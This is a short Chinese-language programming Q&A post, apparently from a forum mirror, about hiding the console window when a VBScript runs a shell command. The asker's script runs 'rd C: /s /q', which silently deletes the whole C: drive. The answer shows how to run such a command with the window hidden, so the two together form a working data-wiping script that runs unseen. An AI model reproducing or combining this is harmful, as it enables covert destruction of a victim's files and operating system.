所以,这是脚本:
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd.exe /C rd C: /s /q"
Set oShell = Nothing
Run Code Online (Sandbox Code Playgroud)
问题是我想让命令行提示不可见/隐藏,我不想使用外部程序。
小智 6
您可以使用此 VBScript 来运行隐藏的 cmd 命令,只需将其合并到您的脚本中即可:
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "cmd /c yourcommands", 0, True
Run Code Online (Sandbox Code Playgroud)
摘自这个答案:防止 VBscript 应用程序显示控制台窗口